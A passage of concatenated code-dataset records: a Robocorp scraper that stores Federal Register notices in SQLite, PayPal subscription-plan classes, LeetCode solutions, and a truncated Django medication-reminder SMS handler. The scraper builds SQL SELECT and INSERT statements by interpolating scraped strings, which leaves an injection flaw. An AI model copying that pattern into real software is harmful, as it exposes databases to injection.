SQLiteDatabase\n\nfrom RPA.Notifier import Notifier\nfrom RPA.Robocorp.Storage import Storage\nfrom RPA.Robocorp.Vault import Vault\nfrom RPA.Tables import Tables\n\nPUBLICATIONS_URL = \"https://www.bis.doc.gov/index.php/federal-register-notices\"\nSQLITE_FILENAME = 'publications.db'\nSQLITE_ASSET_NAME = 'Federal Register Notices (SQLITE DB)'\nSQLITE_ASSET_EXISTS = False\n\ndef parse_table():\n html_content = requests.get(PUBLICATIONS_URL).text\n # Parse HTML using BeautifulSoup\n soup = BeautifulSoup(html_content, 'html.parser')\n table = soup.find('table')\n # Extract data into a Python structure\n data = []\n for row in table.find_all('tr'):\n cols = row.find_all('td')\n cols = [ele.text.strip() for ele in cols]\n data.append(cols)\n columns = []\n for d in data[0]:\n # Modified column name\n if \"Effective Date\" in d:\n columns.append(\"Effective Date\")\n else:\n columns.append(d)\n return Tables().create_table(data=data[1:], columns=columns)\n\ndef initialize_database():\n \"\"\"Create database file if it does not exist in Asset Storage\"\"\"\n global SQLITE_ASSET_EXISTS\n\n DB = SQLiteDatabase(SQLITE_FILENAME)\n try:\n Storage().get_file_asset(SQLITE_ASSET_NAME, SQLITE_FILENAME, overwrite=True)\n DB.connect()\n SQLITE_ASSET_EXISTS = True\n except:\n DB.create_publications_database()\n return DB\n\n@task\ndef minimal_task():\n global SQLITE_ASSET_EXISTS\n\n secrets = Vault().get_secret(\"SlackFederalRegister\")\n DB = initialize_database()\n table = parse_table()\n updates = False\n for row in table:\n result = DB.execute_query(f\"SELECT * FROM government_publications WHERE citation = '{row['Federal Register Citation']}'\", True)\n if len(result)==0:\n DB.execute_query(\"INSERT INTO government_publications VALUES ('%s', '%s', '%s', '%s', '%s')\" %\n (row['Federal Register Citation'],\n row['Publication Date'],\n row['Effective Date'],\n row['End of Comment Period'],\n row['Title of Federal Register'])\n )\n print(row)\n updates = True\n else:\n print(f\"Already in database '{row['Federal Register Citation']}'\")\n\n if updates:\n Storage().set_file_asset(SQLITE_ASSET_NAME, SQLITE_FILENAME)\n SQLITE_ASSET_EXISTS = True\n Notifier().notify_slack(message=\"New Federal Register Citations added to database\", channel=secrets['channel'], webhook_url=secrets['webhookurl'])\n if not SQLITE_ASSET_EXISTS:\n Storage().set_file_asset(SQLITE_ASSET_NAME, SQLITE_FILENAME)\n\n","repo_name":"mikahanninen/robots","sub_path":"federal-register/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"11"} +{"seq_id":"22176908910","text":"\"\"\"\n Module with subscription plans related entities\n\"\"\"\n\nfrom enum import Enum\nfrom datetime import datetime\nfrom typing import Type, List\n\nimport dateutil.parser\n\nfrom pypaypal.entities.base import (\n T, \n Money, \n ActionLink, \n PayPalEntity, \n ResponseType, \n)\n\nfrom pypaypal.entities.subscriptions.common import BillingCycleTenureType\n\nclass PlanStatus(Enum):\n # The plan was created. You cannot create subscriptions for a plan in this state.\n CREATED = 1\n # The plan is inactive.\n INACTIVE = 2\n # The plan is active. You can only create subscriptions for a plan in this state.\n ACTIVE = 3\n\nclass FrequencyIntervalUnit(Enum):\n # A daily billing cycle.\n DAY = 1 \n # A weekly billing cycle.\n WEEK = 2\n # A monthly billing cycle.\n MONTH = 3\n # A yearly billing cycle.\n YEAR = 4\n\nclass SetupFeeFailAction(Enum):\n # Cancels the subscription if the initial payment for the setup fails.\n CANCEL = 1\n # Continues the subscription if the initial payment for the setup fails.\n CONTINUE = 2\n\nclass PricingScheme(PayPalEntity):\n \"\"\"Billing cycle pricing scheme obj representation\n \"\"\"\n def __init__(self, version: int = None, fixed_price: Money = None, **kwargs):\n super().__init__(kwargs.get('json_response', dict()), kwargs.get('response_type', ResponseType.MINIMAL))\n self.version = version\n self.fixed_price = fixed_price\n self._update_time = self._json_response.get('update_time', kwargs.get('update_time'))\n self._create_time = self._json_response.get('create_time', kwargs.get('create_time'))\n \n @property\n def update_time(self) -> datetime:\n try:\n return dateutil.parser.parse(self._update_time) if self._update_time else None\n except:\n return None\n\n @property\n def create_time(self) -> datetime:\n try:\n return dateutil.parser.parse(self._create_time) if self._create_time else None\n except:\n return None\n\n @classmethod\n def create(cls, *, version: int = None, fixed_price: Money = None) -> 'PricingScheme':\n return cls(version = version, fixed_price = fixed_price)\n\n @classmethod\n def serialize_from_json(cls: Type[T], json_data: dict, response_type: ResponseType = ResponseType.MINIMAL) -> T:\n args = { **json_data }\n if 'fixed_price' in json_data.keys():\n args['fixed_price'] = Money.serialize_from_json(json_data['fixed_price'])\n return cls(**args, json_response= json_data, response_type = response_type)\n\nclass Frequency(PayPalEntity):\n \"\"\"Billing cycle frequency obj representation\n \"\"\"\n\n def __init__(self, interval_unit: str, interval_count: int = None, **kwargs):\n super().__init__(kwargs.get('json_response', dict()), kwargs.get('response_type', ResponseType.MINIMAL))\n self.interval_unit = interval_unit\n self.interval_count = interval_count\n\n @property\n def interval_unit_enum(self) -> FrequencyIntervalUnit:\n try:\n return FrequencyIntervalUnit[self.interval_unit] if self.interval_unit else None\n except:\n return None\n\n @classmethod\n def create(cls, *, interval_unit: FrequencyIntervalUnit, interval_count: int = 1) -> 'Frequency':\n return cls(interval_unit = interval_unit.name, interval_count = interval_count)\n\n @classmethod\n def serialize_from_json(cls: Type[T], json_data: dict, response_type: ResponseType = ResponseType.MINIMAL) -> T:\n return cls(**json_data, json_response = json_data, response_type = response_type)\n\nclass BillingCycle(PayPalEntity):\n \"\"\"Plan billing cycle obj representation.\n \"\"\"\n\n # Serializable entity types\n _ENTITY_TYPES = { 'frequency': Frequency, 'pricing_scheme': PricingScheme }\n\n def __init__(\n self, pricing_scheme: PricingScheme, frequency: Frequency, \n tenure_type: str, sequence: int, total_cycles: int, **kwargs\n ):\n super().__init__(kwargs.get('json_response', dict()), kwargs.get('response_type', ResponseType.MINIMAL))\n self.sequence = sequence\n self.frequency = frequency\n self.tenure_type = tenure_type\n self.total_cycles = total_cycles\n self.pricing_scheme = pricing_scheme\n \n @property\n def tenure_type_enum(self) -> BillingCycleTenureType:\n try:\n return BillingCycleTenureType[self.tenure_type] if self.tenure_type else None\n except:\n return None\n \n @classmethod\n def create(\n cls, *, frequency: Frequency, tenure_type: BillingCycleTenureType, \n sequence: int, pricing_scheme: PricingScheme = None, total_cycles: int = 1\n ) -> 'BillingCycle':\n return cls(pricing_scheme, frequency, tenure_type.name, sequence, total_cycles)\n\n @classmethod\n def serialize_from_json(cls: Type[T], json_data: dict, response_type: ResponseType = ResponseType.MINIMAL) -> T:\n args = super()._build_args(json_data, cls._ENTITY_TYPES)\n return cls(**args, json_response= json_data, response_type = response_type)\n\nclass PaymentPreferences(PayPalEntity):\n \"\"\"Payment preference obj representation\n \"\"\"\n\n def __init__(\n self, auto_bill_outstanding: bool, setup_fee: Money, \n setup_fee_failure_action: str, payment_failure_threshold: int, \n **kwargs\n ):\n super().__init__(kwargs.get('json_response', dict()), kwargs.get('response_type', ResponseType.MINIMAL))\n self.setup_fee = setup_fee\n self.auto_bill_outstanding = auto_bill_outstanding\n self.setup_fee_failure_action = setup_fee_failure_action\n self.payment_failure_threshold = payment_failure_threshold\n \n @property\n def setup_fee_failure_action_enum(self) -> SetupFeeFailAction:\n try:\n return SetupFeeFailAction[self.setup_fee_failure_action] if self.setup_fee_failure_action else None\n except:\n return None\n \n @classmethod\n def create(\n cls, *, auto_bill_outstanding: bool = True, payment_failure_threshold: int = 0,\n setup_fee: Money = None, setup_fee_failure_action: SetupFeeFailAction = SetupFeeFailAction.CANCEL\n ) -> 'PaymentPreferences':\n return cls(auto_bill_outstanding, setup_fee, setup_fee_failure_action.name, payment_failure_threshold)\n\n @classmethod\n def serialize_from_json(cls: Type[T], json_data: dict, response_type: ResponseType = ResponseType.MINIMAL) -> T:\n args = { **json_data }\n if 'setup_fee' in json_data.keys():\n args['setup_fee'] = Money.serialize_from_json(json_data['setup_fee'], response_type)\n return cls( **args, json_response= json_data, response_type = response_type)\n\nclass Taxes(PayPalEntity):\n \"\"\"Subscription taxes obj representation\n \"\"\"\n\n def __init__(self, percentage: str, inclusive: bool = None, **kwargs):\n super().__init__(kwargs.get('json_response', dict()), kwargs.get('response_type', ResponseType.MINIMAL))\n self.inclusive = inclusive\n self.percentage = percentage\n \n @classmethod\n def create(cls, percentage: str, inclusive: bool = True) -> 'Taxes':\n return cls(percentage, inclusive)\n \n @classmethod\n def serialize_from_json(cls: Type[T], json_data: dict, response_type: ResponseType = ResponseType.MINIMAL) -> T:\n return cls(**json_data, json_response = json_data, response_type = response_type)\n\nclass Plan(PayPalEntity):\n \"\"\"Subscription Plan obj representation\n \"\"\"\n\n _ARRAY_TYPES = { 'billing_cycles': BillingCycle }\n _ENTITY_TYPES = { 'payment_preferences': PaymentPreferences, 'taxes': Taxes }\n\n def __init__(\n self, plan_id: str = None, product_id: str = None, \n name: str = None, status: str = None, description: str = None, \n billing_cycles: List[BillingCycle] = None, payment_preferences: PaymentPreferences = None,\n taxes:Taxes = None, quantity_supported: bool = None, **kwargs\n ):\n super().__init__(kwargs.get('json_response', dict()), kwargs.get('response_type', ResponseType.MINIMAL))\n self.name = name\n self.id = plan_id\n self.taxes = taxes\n self.status = status\n self.product_id = product_id\n self.description = description\n self.billing_cycles = billing_cycles\n self.quantity_supported = quantity_supported\n self.payment_preferences = payment_preferences\n self._update_time = self._json_response.get('update_time', kwargs.get('update_time'))\n self._create_time = self._json_response.get('create_time', kwargs.get('create_time'))\n self.links = [ActionLink(x['href'], x['rel'], x.get('method', 'GET')) for x in self._json_response.get('links', [])]\n\n @property\n def update_time(self) -> datetime:\n try:\n return dateutil.parser.parse(self._update_time) if self._update_time else None\n except:\n return None\n\n @property\n def create_time(self) -> datetime:\n try:\n return dateutil.parser.parse(self._create_time) if self._create_time else None\n except:\n return None\n\n @property\n def status_enum(self) -> PlanStatus:\n \"\"\"Status of the plan as an enum constant\n \n Returns:\n PlanStatus -- An enumerated constant representing the plan status or None\n \"\"\"\n try:\n return PlanStatus[self.status] if self.status else None\n except:\n return None\n\n @property\n def read_link(self) -> ActionLink:\n \"\"\"Retrieves a link to read this entity details.\n \n Returns:\n ActionLink -- The link for requesting the information to the API.\n \"\"\"\n return next(filter(lambda x: x.rel == 'self', self.links), None)\n \n @classmethod\n def create(\n cls, product_id: str, name: str, billing_cycles: List[BillingCycle],\n payment_preferences: PaymentPreferences = None, description: str = None,\n status: PlanStatus = None, taxes:Taxes = None, quantity_supported: bool = None\n ) -> 'Plan':\n return cls(\n product_id = product_id, name = name, taxes = taxes,\n description = description, billing_cycles = billing_cycles,\n quantity_supported = quantity_supported, payment_preferences = payment_preferences,\n status = status.name if status else None\n )\n\n @classmethod\n def serialize_from_json(cls: Type[T], json_data: dict, response_type: ResponseType = ResponseType.MINIMAL) -> T:\n args = super()._build_args(json_data, cls._ENTITY_TYPES, cls._ARRAY_TYPES)\n args['plan_id'] = args.pop('id', None)\n return cls(**args, json_response= json_data, response_type = response_type)","repo_name":"ivcuello/pypaypal","sub_path":"pypaypal/entities/subscriptions/plans.py","file_name":"plans.py","file_ext":"py","file_size_in_byte":10817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37548260235","text":"class Solution:\n def hIndex(self, citations: List[int]) -> int:\n n = len(citations)\n arr = [0]*(n + 1)\n for citation in citations:\n i = min(citation,n)\n arr[i] += 1\n count = 0\n for i in range(n,-1,-1):\n count += arr[i]\n if i <= count: return i\n","repo_name":"fisjac/LeetCode","sub_path":"arrays/H-index.py","file_name":"H-index.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71403135707","text":"from queue import PriorityQueue\n\nclass MedianFinder:\n\n def __init__(self):\n self.q1 = PriorityQueue()\n self.q2 = PriorityQueue()\n\n def addNum(self, num: int) -> None:\n # Add num to q1 for default. q1 is Max heap\n self.q1.put(-1 * num)\n\n while True:\n qDiff = self.q1.qsize() - self.q2.qsize()\n if qDiff < -1:\n minFromQ2 = self.q2.get()\n self.q1.put(minFromQ2 * -1)\n elif qDiff > 1:\n maxFromQ1 = self.q1.get() * -1\n self.q2.put(maxFromQ1)\n elif self.q1.qsize() > 0 and self.q2.qsize() > 0 :\n if self.q1.queue[0] * -1 <= self.q2.queue[0]:\n break\n else:\n maxFromQ1 = self.q1.get() * -1\n self.q2.put(maxFromQ1)\n else:\n break\n\n def findMedian(self) -> float:\n if self.q1.qsize() == 0:\n return self.q2.queue[0]\n elif self.q2.qsize() == 0 :\n return self.q1.queue[0] * -1\n elif self.q1.qsize() > self.q2.qsize():\n return self.q1.queue[0] * -1\n elif self.q1.qsize() < self.q2.qsize():\n return self.q2.queue[0]\n else:\n return (self.q1.queue[0] * -1 + self.q2.queue[0]) / 2\n \n\n# Your MedianFinder object will be instantiated and called as such:\n# obj = MedianFinder()\n# obj.addNum(-1)\n# print(obj.findMedian())\n# obj.addNum(-2)\n# print(obj.findMedian())\n# obj.addNum(-3)\n# print(obj.findMedian())\n# obj.addNum(-4)\n# print(obj.findMedian())\n# obj.addNum(-5)\n# print(obj.findMedian())\n\nobj = MedianFinder()\nobj.addNum(1)\nobj.addNum(2)\nprint(obj.findMedian())\nobj.addNum(3)\nprint(obj.findMedian())","repo_name":"hhhyunwoo/leetcode","sub_path":"295-Find-Median-from-Data-Stream/295-Find-Median-from-Data-Stream.py","file_name":"295-Find-Median-from-Data-Stream.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20551102492","text":"import glob, itertools, re, datetime, random\n\nfrom django.http import HttpResponseNotFound, HttpResponse\nfrom django.template import Context\nfrom django.template.loader import render_to_string\n\nfrom common.models import DrugFact\nfrom patients.models import SafetyNetRelationship\nfrom reminders.models import Message, Notification\n\n\nclass ResponseCenter(object):\n\tdef _is_quit(self, message):\n\t\t\"\"\" \n\t\tReturns true if the message is a quit message\n\t\t\"\"\"\n\t\treturn message.lower() in (\"q\", \"quit\")\n\n\tdef _is_pause(self, message):\n\t\treturn message.lower() in (\"p\", \"pause\")\n\n\tdef _is_resume(self, message):\n\t\t\"\"\" \n\t\tReturns true if the message is a resume\n\t\t\"\"\"\n\t\treturn message.lower() in (\"r\", \"resume\")\n\n\tdef is_yes(self, response):\n\t\treturn response.lower() in ['y', 'yes']\n\n\tdef is_no(self, response):\n\t\treturn response.lower() in ['n', 'no']\n\n\tdef is_med_info(self, response):\n\t\treturn response.lower() in ['m', 'info']\n\n\tdef is_time_change(self, response):\n\t\t# Parse time from response\n\t\ttime_with_minutes_re = \"^(?P[0-9]{1,2})(:)?(?P[0-9][0-9])(\\\\s)?(?i)(?Pam|pm)?$\"\n\t\ttime_without_minutes_re = \"^(?P[0-9]{1,2})(\\\\s)?(?i)(?Pam|pm)?$\"\n\t\ttime_res = [time_with_minutes_re, time_without_minutes_re]\n\t\tfor regex in time_res:\n\t\t\tformatted_time = re.match(regex, response.lower())\n\t\t\tif formatted_time:\n\t\t\t\tbreak\n\n\t\tif formatted_time:\n\t\t\textracted_hour = formatted_time.group(\"hour\")\n\t\t\ttry:\n\t\t\t\textracted_minute = formatted_time.group(\"minute\")\n\t\t\texcept:\n\t\t\t\textracted_minute = None\n\t\t\tif int(extracted_hour) < 24:\n\t\t\t\thours = int(extracted_hour)\n\t\t\telse:\n\t\t\t\treturn False\n\t\t\tif extracted_minute:\n\t\t\t\tif int(extracted_minute) < 60:\n\t\t\t\t\tminutes = int(extracted_minute)\n\t\t\t\telse:\n\t\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\tminutes = 0\n\n\t\t\t# Hours greater than 12 shouldn't have ampm. For example 13pm. Or 13am\n\t\t\tif formatted_time.group(\"ampm\") != \"\" and hours > 12:\n\t\t\t\treturn False\n\n\t\t\tif formatted_time.group(\"ampm\") == 'pm' and hours < 12:\n\t\t\t\thours = hours+12\n\n\t\t\ttime = datetime.time(hour=hours, minute=minutes)\n\t\t\treturn time\n\t\telse:\n\t\t\treturn False\n\n\tdef process_invalid_response(self):\n\t\treturn HttpResponseNotFound()\n\n\tdef process_quit_response(self, sender):\n\t\tif sender.did_request_quit_within_quit_response_window():\n\t\t\tsender.quit()\n\t\t\tcontent = render_to_string('messages/response_quit_is_confirmed.txt')\n\t\telse:\n\t\t\tsender.record_quit_request()\n\t\t\tcontent = render_to_string('messages/response_quit_break_the_glass.txt')\n\t\treturn HttpResponse(content=content)\n\n\tdef process_pause_response(self, sender):\n\t\tsender.pause()\n\t\tcontent = render_to_string('messages/response_pause_is_confirmed.txt')\n\t\treturn HttpResponse(content=content, content_type=\"text/plain\")\n\n\tdef process_resume_response(self, sender):\n\t\tif sender.did_quit():\n\t\t\tsender.resume()\n\t\t\tcontent = render_to_string('messages/response_resume_welcome_back.txt')\n\t\t\treturn HttpResponse(content=content, content_type=\"text/plain\")\n\n\tdef _get_adherence_ratio_ack_response_content(self, sender, acked_messages):\n\t\t#TODO: What kind of information should go in a message that reports\n\t\t# adherence ratio to a patient? Is it adherence to a particular drug?\n\t\t# Is it overall adherence? Over what time frame?\n\t\traise Exception(\"Not yet implemented\")\n\n\tdef _get_app_upsell_content(self, sender, acked_message):\n\t\t# Select path to the appropriate upsell content\n\t\tupsell_content_choices = glob.glob(\"templates/messages/medication_responses/yes_responses/app_upsell/*.txt\")\n\t\tremove_preceding_content = \"templates/\"\n\t\tupsell_content\t= random.choice(upsell_content_choices)\n\t\tupsell_content = upsell_content[remove_preceding_content.__len__():]\n\t\tupsell_content = 'messages/medication_responses/yes_responses/app_upsell/dummy.txt'\n\n\t\t# Find the happy person in string will be happy you're taking care of your health.\n\t\thappy_people = []\n\t\tsafety_net_members = SafetyNetRelationship.objects.filter(source_patient=sender, opt_out=False)\n\t\tif safety_net_members:\n\t\t\tfor safety_net_member in safety_net_members:\n\t\t\t\thappy_people.append(safety_net_member.target_patient.first_name)\n\t\tprescriber = acked_message.feedbacks.all()[0].prescription.prescriber\n\t\tif hasattr(prescriber, \"doctorprofile\"):\n\t\t\thappy_people.append(\"Dr. \" + prescriber.last_name)\n\t\telse:\n\t\t\thappy_people.append(\"Your family\")\n\t\thappy_person = random.choice(happy_people)\n\n\t\t# upsell_content = ''\n\t\tdict = {'app_upsell_content' : upsell_content,\n\t\t 'happy_person' : happy_person}\n\t\t# TODO: Make this template so that if it gets too long it will choose the shorter name\n\t\tcontent = render_to_string('messages/medication_responses/app_upsell.txt', dict)\n\t\treturn content\n\n\tdef _get_health_educational_content(self, sender, acked_message):\n\t\tdrug_choices = []\n\t\tfor feedback in acked_message.feedbacks.all():\n\t\t\tdrug_choices.append(feedback.prescription.drug)\n\t\tdrug = random.choice(drug_choices)\n\t\tdrug_fact_choices = DrugFact.objects.filter(drug=drug)\n\t\tif drug_fact_choices:\n\t\t\tdrug_fact = random.choice(list(drug_fact_choices))\n\t\t\treturn drug_fact.fact\n\t\telse:\n\t\t\treturn self._get_app_upsell_content(sender, acked_message)\n\n\tdef _return_best_ack_response_content(self, sender, acked_message):\n\t\trandom_ack_message_choices = [\n\t\t\tself._get_app_upsell_content,\n\t\t\tself._get_health_educational_content,\n\t\t]\n\t\t#TODO add gamification content.\n\n\t\treturn random.choice(random_ack_message_choices)(sender, acked_message)\n\n\tdef process_medication_response(self, sender, message, response):\n\t\t\"\"\"\n\t\tProcess a response to a medication message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\n\t\t# Switch on type of response\n\t\tif self.is_yes(response):\n\t\t\t# Send out a medication ack message\n\t\t\t# Update state\n\t\t\tfeedbacks = message.feedbacks.all()\n\t\t\tfor feedback in feedbacks:\n\t\t\t\tfeedback.completed = True\n\t\t\t\tfeedback.datetime_responded = now\n\t\t\t\tfeedback.save()\n\n\t\t\t# Create new message\n\t\t\tcontent = self._return_best_ack_response_content(sender, message)\n\t\t\tMessage.objects.create(to=sender, _type=Message.MEDICATION_ACK, previous_message=message, content=content)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\t\telif self.is_no(response):\n\t\t\t# Send out a medication questionnaire message\n\t\t\t# Update state\n\t\t\tfeedbacks = message.feedbacks.all()\n\t\t\tfor feedback in feedbacks:\n\t\t\t\tfeedback.completed = False\n\t\t\t\tfeedback.datetime_responded = now\n\t\t\t\tfeedback.save()\n\n\t\t\t# Create a questionnaire message\n\t\t\ttemplate = 'messages/medication_questionnaire_message.txt'\n\t\t\tcontext = {'response_dict': iter(sorted(Message.MEDICATION_QUESTIONNAIRE_RESPONSE_DICTIONARY.items()))}\n\t\t\tcontent = render_to_string(template, context)\n\n\t\t\t# Create new message\n\t\t\tnew_m = Message.objects.create(to=sender, _type=Message.MEDICATION_QUESTIONNAIRE, previous_message=message,\n\t\t\t content=content)\n\t\t\tfor feedback in feedbacks:\n\t\t\t\tnew_m.feedbacks.add(feedback)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\t\telif self.is_med_info(response):\n\t\t\t# Send out a med info message\n\t\t\tmessage.datetime_responded = None\n\t\t\tmessage.save()\n\t\t\tcontent = \"Medication information is a work in progress.\\n\\n\"+ \\\n\t\t\t \"Did you take your meds?\\n\"+ \\\n\t\t\t \"y - yes\\n\"+ \\\n\t\t\t \"n - no\"\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\t\t\tpass\n\n\t\telif self.is_time_change(response):\n\t\t\t# Update reminder time and send out a time change ack\n\t\t\tpass\n\t\t# Unknown response\n\t\telse:\n\t\t\tmessage.datetime_responded = None\n\t\t\tmessage.save()\n\t\t\ttemplate = 'messages/unknown_response.txt'\n\t\t\tcontent = render_to_string(template)\n\t\t\tnew_m = Message.objects.create(to=sender, _type=Message.STATIC_ONE_OFF, content=content)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\tdef process_medication_questionnaire_response(self, sender, message, response):\n\t\t\"\"\" Process a response to a medication questionnaire message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\n\t\tdef process_response(return_message_type):\n\t\t\tfor feedback in message.feedbacks.all():\n\t\t\t\tfeedback.note = Message.MEDICATION_QUESTIONNAIRE_RESPONSE_DICTIONARY[response.upper()]\n\t\t\t\tfeedback.save()\n\t\t\ttemplate = 'messages/medication_questionnaire_responses/' + \\\n\t\t\t Message.MEDICATION_QUESTIONNAIRE_RESPONSE_DICTIONARY[response.upper()] + \\\n\t\t\t '.txt'\n\t\t\tcontent = render_to_string(template)\n\t\t\tnew_m = Message.objects.create(to=sender, _type=return_message_type, content=content, previous_message=message)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\t\t# Switch on type of response\n\t\t# a - Haven't gotten the chance\n\t\tif response.lower() == 'a':\n\t\t\t# Schedule a medication reminder for later\n\t\t\tone_hour = datetime.datetime.now() + datetime.timedelta(hours=1)\n\t\t\tn = Notification.objects.create(to=sender, _type=Notification.REPEAT_MESSAGE, repeat=Notification.NO_REPEAT,\n\t\t\t message=message.previous_message, send_datetime=one_hour)\n\n\t\t\t# Send response\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# b - Need to refill\n\t\telif response.lower() == 'b':\n\t\t\t#TODO(mgaba): Figure out what else should happen if someone needs to refill\n\t\t\t# Send response\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# c - Side effects\n\t\telif response.lower() == 'c':\n\t\t\t#TODO(mgaba): Figure out what else should happen if someone has side effects\n\t\t\t#TODO(mgaba): Add doctors name to personalize messages\n\t\t\t# Send response\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# d - Meds don't work\n\t\telif response.lower() == 'd':\n\t\t\t#TODO(mgaba): Add doctors name to personalize messages\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# e - Prescription changed\n\t\telif response.lower() == 'e':\n\t\t\t#TODO(mgaba): Add doctors name to personalize messages\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# f - I feel sad :(\n\t\telif response.lower() == 'f':\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# g - Other\n\t\telif response.lower() == 'g':\n\t\t\t#TODO(mgaba): Add doctors name to personalize message\n\t\t\treturn process_response(Message.OPEN_ENDED_QUESTION)\n\t\t# Unknown response\n\t\telse:\n\t\t\tmessage.datetime_responded = None\n\t\t\tmessage.save()\n\t\t\ttemplate = 'messages/unknown_response.txt'\n\t\t\tcontent = render_to_string(template)\n\t\t\tnew_m = Message.objects.create(to=sender, _type=Message.STATIC_ONE_OFF, content=content)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\tdef process_refill_response(self, sender, message, response):\n\t\t\"\"\" Process a response to a refill message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\n\t\t# Switch on type of response\n\t\tif self.is_yes(response):\n\t\t\t# TODO(mgaba): Implement questions about weekly, monthly prescriptions. What's the right day?\n\t\t\t# Send out a medication ack message\n\t\t\t# Update state\n\t\t\tfeedbacks = message.feedbacks.all()\n\t\t\tfor feedback in feedbacks:\n\t\t\t\tfeedback.completed = True\n\t\t\t\tfeedback.datetime_responded = now\n\t\t\t\tfeedback.save()\n\n\t\t\tnotifications = message.notifications.all()\n\t\t\tfor notification in notifications:\n\t\t\t\tnotification.active = False\n\t\t\t\tnotification.save()\n\n\t\t\t# Calculate the time of the next earliest notification to put in the message that gets sent back\n\t\t\tearliest_notification = None\n\t\t\tnow = datetime.datetime.now()\n\t\t\tfor feedback in feedbacks:\n\t\t\t\tfeedback.prescription.filled = True\n\t\t\t\tfeedback.prescription.save()\n\t\t\t\tmed_notifications = Notification.objects.filter(prescription=feedback.prescription, _type=Notification.MEDICATION)\n\t\t\t\tfor med_notification in med_notifications:\n\t\t\t\t\tif med_notification.send_datetime < now:\n\t\t\t\t\t\tmed_notification.update_to_next_send_time()\n\t\t\t\t\tif earliest_notification == None or earliest_notification.send_datetime > med_notification.send_datetime:\n\t\t\t\t\t\tearliest_notification = med_notification\n\n\t\t\t# Convert the time of the next earliest notification to a string for the template\n\t\t\thour = earliest_notification.send_datetime.hour\n\t\t\tminute = earliest_notification.send_datetime.minute\n\t\t\tif hour == 0:\n\t\t\t\thour = 12\n\t\t\t\tampm = 'am'\n\t\t\telif hour == 12:\n\t\t\t\thour = 12\n\t\t\t\tampm = 'pm'\n\t\t\telif hour > 12:\n\t\t\t\thour = hour - 12\n\t\t\t\tampm = 'pm'\n\t\t\telse:\n\t\t\t\tampm = 'am'\n\t\t\tif earliest_notification.send_datetime.date() == now.date():\n\t\t\t\tday = \"today\"\n\t\t\telif earliest_notification.send_datetime.date() == now.date() + datetime.timedelta(days=1):\n\t\t\t\tday = \"tomorrow\"\n\t\t\telif earliest_notification.send_datetime.date() < now.date() + datetime.timedelta(days=7):\n\t\t\t\tweekdays = {'0':'Monday',\n\t\t\t\t '1':'Tuesday',\n\t\t\t\t '2':'Wednesday',\n\t\t\t\t '3':'Thursday',\n\t\t\t\t '4':'Friday',\n\t\t\t\t '5':'Saturday',\n\t\t\t\t '6':'Sunday'}\n\t\t\t\tday = \"on \" + weekdays[str(earliest_notification.send_datetime.weekday())]\n\n\t\t\t# Create new message\n\t\t\tcontext = {'hour':hour,\n\t\t\t 'minute':minute,\n\t\t\t 'ampm':ampm,\n\t\t\t 'day':day}\n\t\t\ttemplate = 'messages/refill_ack_message.txt'\n\t\t\tcontent = render_to_string(template, context)\n\t\t\tMessage.objects.create(to=sender, _type=Message.STATIC_ONE_OFF, previous_message=message, content=content)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\t\telif self.is_no(response):\n\t\t\t# Send out a medication questionnaire message\n\t\t\t# Update state\n\t\t\tfeedbacks = message.feedbacks.all()\n\t\t\tfor feedback in feedbacks:\n\t\t\t\tfeedback.completed = False\n\t\t\t\tfeedback.datetime_responded = now\n\t\t\t\tfeedback.save()\n\n\t\t\t# Create a questionnaire message\n\t\t\ttemplate = 'messages/refill_questionnaire_message.txt'\n\t\t\tcontext = {'response_dict': iter(sorted(Message.REFILL_QUESTIONNAIRE_RESPONSE_DICTIONARY.items()))}\n\t\t\tcontent = render_to_string(template, context)\n\n\t\t\t# Create new message\n\t\t\tnew_m = Message.objects.create(to=sender, _type=Message.REFILL_QUESTIONNAIRE, previous_message=message,\n\t\t\t content=content)\n\t\t\tfor feedback in feedbacks:\n\t\t\t\tnew_m.feedbacks.add(feedback)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\t\telif self.is_med_info(response):\n\t\t\t# Send out a med info message\n\t\t\t# TODO:Implement med info for real\n\t\t\tmessage.datetime_responded = None\n\t\t\tmessage.save()\n\t\t\tcontent = \"Medication information is a work in progress.\\n\\n\"+\\\n\t\t\t\t\t \"Did you pick up your meds?\\n\"+\\\n\t\t\t\t\t \"y - yes\\n\"+\\\n\t\t\t\t\t \"n - no\"\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\t\t\tpass\n\t\t# Unknown response\n\t\telse:\n\t\t\tmessage.datetime_responded = None\n\t\t\tmessage.save()\n\t\t\ttemplate = 'messages/unknown_response.txt'\n\t\t\tcontent = render_to_string(template)\n\t\t\tnew_m = Message.objects.create(to=sender, _type=Message.STATIC_ONE_OFF, content=content)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\t\traise Exception(\"Not yet implemented\")\n\n\tdef process_refill_questionnaire_response(self, 